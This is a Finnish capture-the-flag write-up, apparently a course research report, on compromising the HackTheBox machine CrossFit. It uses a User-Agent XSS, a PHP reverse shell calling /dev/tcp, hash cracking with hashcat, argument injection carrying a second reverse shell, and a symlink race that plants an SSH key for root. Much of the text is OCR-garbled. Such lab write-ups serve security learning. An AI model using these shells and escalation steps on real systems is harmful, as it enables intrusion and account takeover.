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1 Johdanto

Kyberturvallisuuden tutkimustyohon kuului valita jokin tarkoituksella
haavoittuvainen kone joka tulisi “hakkeroida”.

Tassa tutkimuksessa valitsin kohteeksi HackTheBox alustalta CrossFit nimisen koneen
joka on luokiteltu vaikeusasteeltaan “Insane” (Easy, Medium, Hard, Insane).

Tassa kdaydaan lapi enumerointi, haavoittuvuuksien |6ytaminen seka niiden
kdayttaminen tdhan koneeseen joidenka avulla saadaan itsellemme haltuun
padkayttdja.

Tassa koneessa kaytetdaan hyvaksi XSS (Cross-site scripting) jonk avulla saame luotua
itsellemme FTP pannulle kayttdjan minne voimme ladata oman PHP sivun joka antaa
meille etdayhteyden tietokoneelle.

Koneesta loydetdan “hashatty” salasana joka voidaan murtaa kayttamalla hashcat
tyokalua seka rockyou.txt tiedostoa, mika koostuu useista salasanoista. Ndin
padasemme sisdan toiselle kayttajalle.

Linuxin crontabista huomaamme scriptin, mikd ajetaan melko tiuhaan (1minuutin
valein) ja tata ajaa Isaac kayttaja. Scripti sisaltda haavoittuvuuden jonka avulla
voimme asettaa oman komennon joka antaa meille shellin tahan kayttajaan.

Koneelta I16ytyy myos pspy:n avulla toinenkin prosessi joka ajetaan minuutin valein.
Tama luo tmp filun jonka scripti lopuksi poistaa kun se on kirjoittanut sinne. Tahan
luomme saman nimisen tiedoston symlinkin avulla, joka luo tilanteen, etta itse root
kirjoittaa haluamamme ssh .pub avaimen /root/.ssh/authorized_keys filuun tdaman
symlinkin kautta, joka takaa meille paasyn root kayttajalle ssh kautta ilman
salasanaa.

Tama kone on vield ns. aktiivinen HackTheBox sivustolla, joten taha ei ole julkista
"walktroughta” (writeup). Minulla meni noin 14h taman koneen kanssa. Pisin aika
kului cross-site scriptin kanssa, ettd sain sen toimimaan. Tarkempaa ajankayttoa en
saanut tasta koneesta.



2 Enumerointi

2.1 Nmap

Alkuun aloitetaan enumerointi nmap:in avulla, josta |I6ydetaan avoimet portit seka
palvelut.

it 10.10

ateOrProv

ux:linux_kernel

Nmapista huomaamme 3 porttia olevan auki:
- 21 FTP serveri

-22 SSH portti

-80 http serveri
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2.2 Portti 80-HTTP

Kaydaan ensinvilkaisemassa portti 80:

Avaan selaimella: 10.10.10.208 mista avautuu Apache2 Debian default page.

Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Debian
systems. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You
should replace this file (located at /var/www/html/index.html) before continuing to operate your HTTP server.
If you are a normal user of this web site and don't know what this page is about, this probably means that the site is
currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Dehian's Apache2 default configuration is different from the upstream default configuration, and split into several files
optimized for interaction with Debian tools. The configuration system is fully documented in
lusrishareldoclapache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web
server itself can be found by accessing the manual if the apache2 - doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

fetc/apache2/
-- apache2.conf
“-- ports.conf
-- mods-enabled
|-- *.load
“-- * conf
-- conf-enabled
“-- * conf
-- sites-enabled
“-- * conf

« apache2.conf is the main configuration file. It puts the pieces together by including all remaining configuration
files when starting up the web server.

= ports.conf is always included from the main configuration file. It is used to determine the listening ports for
incoming connections, and this file can be customized anytime.

. Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration snippets which manage modules, global configuration fragments, or virtual host
configurations, respectively.

«  They are activated by symlinking available configuration files from their respective *-available/ counterparts.
These should be managed by using our helpers a2enmod, a2dismod, a2ensite, a2dissite, and
aZenconf, a2disconf . See their respective man pages for detailed information.

+«  The binary is called apache2. Due to the use of environment variables, in the default configuration, apache2
needs to be started/stopped with fetc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2
directly will not work with the default configuration.

Document Roots

By default, Debian does not allow access through the web browser to any file apart of those located in /var,/www,
public_html directories (when enabled) and /usr/share (for web applications). If your site is using a web document
root located elsewhere (such as in /s rv) you may need to whitelist your document root directory in
/etc/apache2/apache2.conf.

The default Debian document root is /var/www/html. You can make your own virtual hosts under ivariwww. This is
different to previous releases which provides better security out of the box.

Reporting Problems

Please use the reportbug tool to report bugs in the Apache2 package with Debian. However, check existing bug
reports before reporting a new bug.

Please report bugs specific to modules (such as PHP and others) to respective packages, not to the web server itself.




Tama ei varmaankaan ole se, minne meidan kuuluisi paasta, joten kokeillaan lisata
vhost crossfit.htb > /etc/hosts jos tdma muuttaisi sivun jonne padsemme.

Kokeillaan uudelleen sivua, mutta sama default page aukeaa.

Palataan katsomaan nmap:in 16ydoksia.

2.3 Portti 21 -FTP

Taalta loytyi myos tuo FTP serveri jossa on TLS, tata voimme yrittaa tutkia tarkem-
min:

openssl s_client -connect crossfit.htb:21 -starttls ftp komennolla saamme hieman li-
saa tietoa tasta:

[:[%l-ﬁl[ —[10.10.14.9]-[jubinblac ]-[~/git/CTF/HTB/Boxes/CrossFit]
[ ent -conne ro t.htb:21 -starttls ftp

Fit Ltd., CN = *.crossfit.htb, emailAdd
ificate

ss Fit Ltd., CN = *, sfit.htb, emailAdd

Fit Ltd., CN
Fit Ltd., CN

Kuva 2. Uusi vhost!



Tasta kuvasta |6ydamme sahkoposti osoitteen: info@gym-club.crossfit.htb jonka
voimme lisdtd /etc/hosts filuun. Nyt me paasimme crossfit:in etusivulle!

ABOUT US SCHEDULE GALLERY BLOG CONTACTS JOIN THE CLUB

JOIN'US NOW

FITNESS & SPORT

READ MORE



mailto:info@gym-club.crossfit.htb

2.4 http enumerointi

Blogi sivulta (http://gym-club.crossfit.htb/blog-single.php ) l6yddamme ”Leave a com-
ment” paikan, mika ilmeisesti tunnistaa cross-site scriptien ldhettamisen:

XSS attempt detected

A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.

LEAVE A COMMENT

<script>alert(1)</scri pt>|

Kuva 3. XSS attempt detected

(Tassa kohtaa sain hetken aikaa pyoritelld eri metodeja ennen kuin 10ysin toimivan
ratkaisun)

"Browser information will be...” Tastd huomaamme etta jos tdma botti huomaa XSS
yrityksen, se keraa talteen IP osoitteen seka selaimen informaation (user-agent).

Otetaan taman kommentin lahetys pyynto burpsuitella kiinni:

%r:plrat

\n  Actions v

POST /blog-single.php HTTP/1.1
Host: gym-club.crossfit.hth
: Content-Length: 113
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
& Origin: http://gym-club.crossfit.hth
Content-Type: application/x-www-Torm-urlencoded
2 User-Agent: Mozilla/5.0 (X11; Linux x86 64) ApplewWebKit/537.36 (KHTML,
like Gecko) Chrome/82.0.41032.116 Safari/537.36
2 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, 1mage,/webp, 1mage/apn
g, */*;q=0.8,application/signed-exchange;v=h3;q=0.9
10 Referer: http://gym-club.crossfit.htb/blog-single.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9,f1;q=0.8
= dnt: 1
14 sec-gpc: 1
15 Connection: close

[N

[

17 name=testhemall=test%40crossTit.hth&phone=1234567898message=
%3Cscript%3Ealert%281%25%3C%2Fscript%s3Easubmi t=submi t




Taman avulla me voimme hallita, mita informaatiota me lahetamme user-agent:issa.

2.5 xss-detection enumerointi

Tehdaan siis testi [0ytyyko tasta haavoittuvuus:

Kaynistamme python serverin (python -m http.server), annamme user-agent para-
metrina: <script src=http://10.10.14.9:8000/test.php/>. Tama yrittaa hakea scriptia
minun omalta virtuaali koneestani, jonka ip on 10.10.14.9 ja nyt serveri pyorii por-

tissa 8000 jossa ei ole tuota test.php filua, mutta saan silti siita ilmoituksen, mikali

tama yrittaa sita saada:

-vip-3]-[10.10.14.9]-[jubinblack@parrot]-[~/git/CTF/HTB/Boxes/CrossFit]
??]1; python3 -m htt[n

l 1" 404 -

not found

1" 404 -

le not found
HTTF’ '1.1" 404 -

kuva 4. Get reguests

Kuten kuvasta 4 nakyy, olemme saanet GET reguesteja tuohon test.php filuun! Nyt
me voisimme luoda pienen scriptin tahan ja kokeilla jos saamme jonkin oman scriptin
suoritettua samaisella komennolla. Tein nopean scriptin, joka lahettda POST reques-
tin minulle. Kuva 5 ndkyy myds, ettd mista tama scripti ajetaan, koska Referer koh-
dassa loytyy report.php scripti.

kuva 5. scripti suoritettu



3 Haavoittuvuuden kdyttaminen (Exploitation)

(Tama vei "hetken” aikaa, ettd huomasin miten voin hyddyntaa ftp:ta. Ftp:sta 16ytyi scripti jonka sour-
cesta l6ytyi komento jolla me voimme luoda uuden kayttadja tunnuksen tuonne hetkeksi jonka jalkeen
se automaattisesti poistuu sielta.)

3.1 FTP tutkiminen js scriptin avullla

Naihin ei paase kasiksi ulkoisesta verkosta, joten voimme olettaa etta tama pyorii lo-
calhostissa. Lahettamalla pyyntoja ftp.crossfit.htb saamme vastaukseksi:

<!DOCTYPE html>

witter-bootstrap/4.0.@-alpha/

unt Management

href="http://ftp.c f ounts/create"> Create New

e>

Kuva 6. ftp.crossfit.htb

Tasta nakyy linkki, joka kertoo, etta sieltad voi luoda uuden kayttajan. Lahettamalla
juuri loytyneeseen linkkiin pyynndn, saamme tietoon, mita tarvitsemme kayttajan
luontiin. Nama linkin mitd pyydamme, avaa tuon koneen kayttaja, kuka hallitsee
tuota report.php scriptia ja avaa useragent nakyman, jossa on meidan payload.


ftp://ftp.crossfit.htb/
ftp://ftp.crossfit.htb/
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" href="http

1-control”

tro d g
nput ' 1-control”

Kuva 7. ftp serverin kadyttajan luominen.

Kuvasta 7 nakyy, ettd tama lomake haluaa kayttdjanimen seka salasanan. Ja koska tdssa on
csrf suojaus, sithen vaaditaan myos tuo tokeni joka I6ytyy sivulta (tdman huomasin vasta en-
simmaisen kayttdjan luonnin yhteydessa, etta tokeni vaaditaan).
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3.2 FTP kayttajan luominen

window.addEventListener ("’

document.c

erHTML r
element.

setTimeout(

}. 5008)

r.send();

createAccont(token)

=t .DONE)

Kuva 8. FTP kayttajan luonti

Taman scriptin avulla haemme ensin tarvittavan tokenin, joka annetaan argument-
tina createAccount() funktiolle. Dataksi annamme kayttaja nimen (jubin) seka salasa-
nan (jubin) ja tokenin jonka haimme alkuun.

Nyt kun [ahetamme burpsuitella taas kutsun tuohon scriptiin, sen pitaisi luoda meille

ftp kayttdja jonka avulla me padsemme sisddn tuonne pannulle.
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jubinblack

Kuva 9. FTP server

Jess!
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3.3 Reverse shell

Taalta me ndemma muutaman kansion (development-test, ftp, gym-club seka html).
gym-club oli yksi vhost:eista jonka me lisdsimme, ja on selvaa odottaa etta tama
missa olemme nyt kiinni on tyylilla: ftp.crossfit.htb. Joten mika tama development-
test ja html on?

Ainoa mihin meillad on kirjoituslupa on tuo development-test.

development-test kansio on tyhja, mutta mita jos me lissédmme taman meidan
/etc/hosts filuun ja laitamme oman .php sivun sinne?

Lisdaamalla hyvin simppelin “reverse shellin” development-test kansioon:

<?php shell_exec("bash -c 'bash -i >& /dev/tcp/10.10.14.21/9001 0>&1'""); ?>
nimella shell.php. Tama ei toiminut suoraan laittamalla hosts avulla ja menemalla
tanne http://development-test.crossfit.htb/shell.php eli ei julkisesti padstavissa,
mutta scriptin kautta jota kaytimme aiemmin kayttdjan luontiin, mutta talla kertaa
kutsui tata shell.php filua, saatiin shelli!

|’ ofs ossfit:/var,
Kuva 10. web kayttajan shelli.


ftp://ftp.crossfit.htb/
http://development-test.crossfit.htb/shell.php
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4 Oikeuksien korottaminen (Privilage Escalation)

4.1 Enumerointi

Nyt kun olemme péaasseet sisddn koneeseen, yksi mita tykkaan tehda on ajaa linpeas,
joka hoitaa katevasti suurimman osan enumeroinnista, ainoa miinus puoli etta sita
dataa tulee paljon karsittavaksi..

4.1.1 Linpeas.sh

Saamme linpeas.sh scriptin tanne pistamalla python serverin pystyyn, ja kohtees-
tamme laitamme komennon “wget http://10.10.14.21/linpeas.sh” joka lataa taman
tyokalun kayttoomme.

h HTTP/1.1"

ropriate ioctl for de

Nyt meilld on linpeas ja laitetaan se ruksuttamaan.


http://10.10.14.21/linpeas.sh
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Kun linpeas on ajanut, se antaa PALJON data mista Idhtea tutkimaan. Sielta [6ytyi

mm. my0ds salasanoja hashattyna.

rFactory.php

4.1.2 Salasanan murtaminen

Toinen naista on ilmeisesti kayttdjan hank hashatty salasana.
Saamme koneen kayttdjat listattua kayttamalla:
cat /etc/passwd | grep -v nologin | grep -v false

komento karsii oikeat kayttadjat esille.

swd | grep -v nologin | gre

Kuva 12. Kayttajat koneelta passwd.

Voimme yrittda murtaa tuon hash:atyn salasanan hashcatin avulla. hashcat —exam-
ple-hash nayttad meille esimerkkeja miltd mikakin hashi nayttaa ja hakemalla (kdytan
tmux johon on lisatty vim tyylinen haku selaus mita lie, kdteva juttu anyway) “\$6\S”
alkuisia hasheja (haku ei onnistu kayttamalla pelkkda S joten pitada kayttaa escape
char. ettd se osaa kasitella sita kuten kirjainta eika muuttujana joten se miten vim

lukee tdman: $6S) I16yddmme hashcat moodiin 1800 sopivan hashin.

)

GvB2/H51R1istD5 . Ah4upwENRSUTTfLR4X4SxSz TREVBZ6WV10jRFX40/KnYVvK4829kD1

Kuva 13. Hashcat mode ja hash tyyppi

Nyt kun tiedamme mika hash on kyseessa, voimme yrittdd murtaa sen.

hashcat -m 1800 hash.hash /usr/share/wordlists/rockyou.txt

mika onnistuu l6ytamaan oikean salasanan: powerpuffgirls! Padsemme tahan kayt-
tdjaan ssh hank@10.10.10.208 ja antamalla juuri I6ydetyn salasanan. (Tastd saamme

user flagin).


mailto:hank@10.10.10.208
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4.2 Kayttaja “Hank” (Further priv. esc.)

4.2.1 Enumerointi

Hieman tutkiskelua niin l6ydamme fvar/www/gym-club kansiosta db.php filun joka
sisaltdaa mysql tunnukset.

han : ir/www/gym-club$ cat db.php

<?php

$dbhost

sdbuser

$dbpass
¢db =
»coNn = new m s, $db);

Kuva 14. database kayttajatunnus.

Toinen mielenkiintoinen asia oli crontabissa oleva scripti joka ajetaan joka minuutti.

ved, thu, fri,sat

Kuva 15. crontab

Vilkaisemalla scriptia, sielta 16ytaa pienelld googletuksella haavoittuvan kirjaston jota

tuo kayttaa: mikehaertl:in shellcommand.
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¢fs iterator = new Fil mIterator($msg dir);

foreach ($fs iterator as $file info)
.

if($file info->

nath file info tPathname();

FRi

e get contents($full path);
( t');

Kuva 16. send_updates.php

Loéytamani exploitti mahdollistaa uuden argumentin lisdamisen tahan scriptiin.
Scriptista nakee ettd se hakee mysql databasesta sahkopostiosoitteen. Mita jos
kdaytamme aiemmin loytamidamme db credeja ja lisddmme ylimaardisen argumentin
tdhan EMAIL kohtaan? Laittamalla tietokantaan “insert into users (email) VALUES("-E
S(bash -c 'bash -i >& /dev/tcp/10.10.14.11/1337 0>&1')");” voimme kokeilla
simppelid reverse shellia. Taman jalkeen laitetaan nc kuuntelemaan tulevia
yhteyksia. Koska tata scriptid ajaa kayttaja “isaac” niin tama reverse shelli tulisi siis
myos kayttajan isaac tunnuksillla.

Tama ei toiminut, joten jatkettuani hieman tutkimista, [6ysin ftp admin kayttajan.

account sufficient pam m:

Kuva 17. ftpadm kayttajatunnus.
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Kun kirjaudutaan talla kayttajalla sisaan ftp pannulle, [dydamme ainoastaan

messages kansion.

Quickconnect

Remc

L]/

Hl messages

Filename ~ Fd Last modified Filename ~ Filesize | Filetype Last modified Permissions
=
W messages Directory (

ldire

o Remote file Size | Priority | Status
/development-test/shell... 76 Normal

Queued files (1) | ESUSHESRSISEeS,

m® ® Queu

Kuva 18. ftpadmin fpt server.

4.2.2 Exploittaus

Hetken pyorittyani, huomasin ettd tuo message kansio sisaltda jaettavan viestin

crossfit clubin jasenille. Kun se sisdltaa viestin, se lahetetadn send_updates scriptilla.

Joten kokeillaan uudelleen aiemmin yritettyd mikehaertl exploittia mutta nyt lisataan

messageen jokin viesti. Hetki odottelua ja siina se on, kayttdja isaac!

/91t/CTF/HTB/Bo
- [~/gLt/CTF/HTE

/9Lt/CTF/HTB/Bo:

Kuva 19. Isaac
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5 Root kdyttajan saaminen (total privilage escaletaion)

Jonkin aikaa pyorien ympyraa (jonkin aikaa==parisen tuntia...), kdytin pspy nimista
ohjelmaa, joka monitoroi prosesseja, jos |0ytyisi jotain mielenkiintoista. Ensin pitaa
vain selvittaa moni bittinen jarjestelma on kyseessa: cat /etc/cpuinfo kertoo ettd

tama on 64bit.

5.1 Enumerointi

5.1.1 Prosessien selvittdminen

Hetken ajon paasta pspy informoi dbmsg scriptista mika ajetaan joka minuuttil

OPEN

OPE
OPEN

Kuva 20. pspy

Tama nayttaisi olevan “compiled” koodia, joten ladataan tuo omalle koneelle ja

pistetdadn Ghidra tulille.
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5.1.2 Scriptin selvity Ghidra:n avulla

Scripti ndyttaisi kayttavan srand ja rand funktioita jotka vedetdaan md5 lapi, jolla teh-
daan valiaikainen filu /var/local/ kohteeseen databasen tiedoille. Tiedot mita db:sta

haetaan: id, name, email ja message.

if (mysgl == 0) {
fwrite ("mysql_init () failedwn",l,0x14,stderr):
J* WARMING: Subroutine does not return */
exit(1l);
}
mysql_connection =
mysql_real_connect(mysqgl, "localhost", "crossfit", "oeloo~y2baeni”, "crossfit",0,0,0);
if (mysql_connection == 0) {
exit_with_error(mysgl);
}
mysql_query = ::mysql_query(mysql, "SELECT * FROM messages”):
if (mysql_query !'= 0) {
exit_with_error(mysql):
}
mysgl_result_store = mysql_store_result(mysql);
if (mysql_result_store ==
exit_with_error(mysql);
}
zip_file = zip_open("/var/backupss/mariadb/comments.zip".1l,&local_4c);
if {zip_file !=0) {
while (mysql_row = (long *)mysql_fetch_row(mysql_result_store

Yo omysql_row = (long *)ox0) {

if ((C(*mysql_row != 0) && (mysql_row[l] !'= 0)) && (mysgl_row[2] != 0)) && (mysgl_rowl[3] != @)
y o
mysql_connection = *mysql_row;
random_int rand();
snprintf(local_c8,0x30, "%sd%s", (ulong)random_int, mysql_connection);
str_length strilen(local_ca);

mdSsum (Tocal o tr_length & Oxffffffff, local
snprintf (local_92,0x30, "%s%s", "/var/locals", local_fg);
writing_file = fopen(local_98, "w");
if (writing_file != (FILE *)ox0@) {

fputs({char *)mysql_rowll],writing_file);

fputc(Ox20,writing_file);

fputs({char *)mysql_rowl3],writing_file);

fputc (Ox20,writing file);

fputs({char *)mysql rowl[2],writing file);

felose (writing_file);

if (zip_file 1= 0) {
printf ("adding file %suwn",local
local_42 = zip_source_file(zip_file,local_92,0);
it (L 1 48 == @) {

uvarl = zip_strerror(zip_file);

fprintfistderr, "Sssyn", uvarl);

fe,str_length & Oxffffffffd;

T
else {
mysql_connection = zip_file_add(zip_file,local_f8, local_48):;
if (mysgl_connection < @) {
zip_source_free(local_48);
uvarl = zip_strerror( _
fprintfistderr, "sswn",uvarl);

else {
uvarl = zip_strerror(
fprintfistderr, "sswn", u

mysql_free_result(mysgl_result_store);

delete_rows(nysql);

mysql_closelmysql);

if {zip_file o) {
zip_close(zip_filed;

¥

delete_files();

return;
¥
zip_error_init_with_code(local_
uVarl = zip_error_strerror{loc
fprintf(stderr, "Ssswn",uvarl);

S* WARNING: Subroutine does not return */

exit(-1);

Kuva 21. Ghidra ja dbmsg source.
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Tahan voimme yrittda tehda samanlaisen random generaattorin:

Kuva 22. Random generaattori.

5.2 Exploittaus

Taman seka db:n ID avulla voimme yrittdaa luoda saman nimisen symboolisen linkin,
joka toimii periaatteessa samalla tavalla kuin windowsin pikakuvakkeet. Kun me
luomme ensin tdman symlinkin /root/.ssh/authorized_keys tiedostoon, root kay itse
kirjoittamassa tuon haluamamme avaimen tdahan temp tiedostoon, joka symlinkin ta-
kia menee myos tuonne authorized_keys tiedostoon, joka takaa meidan paasyn il-
man salasanaa root kdyttajaan ssh kautta.

Valmisteluun tarvitaan ssh avain: _ (ed25519 pelkdstddn
siksi ettd se on lyhyt)
pieni bash script luomaan jatkuvasti uusi symlink: _

Tama ajaa meidan random_gen scriptin, lisda peraan ID:n (laitetaan se olemaa 1),
tyonnetdan se md5sum:in lapi, poistetaan turhat perasta.

Lopuksi tarvitaan root.pub tiedot databaseen:

Ghidrasta avatulla scriptillda ndimme tuon jarjestyksen missa ne kirjoitetaan filuun,

siksi se laitetaan DB:seen ”vaarassa” jarjestyksessa.
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Sitten odotetaan ettad tuo dbmsg scripti ajaa sen lapi, ja toivomme saavamme root
kayttajan haltuun.

Kuva 23. Root kayttaja.

Nyt olemme saaneet yhdistettya root kayttdjaan ssh kautta, joten tama symlink race
tilanne todellakin antoi meidan lisata tuon .pub avaimen mika antoi meidan koneelle
luvan yhdistaa root kayttajaan ilman salasanaa.



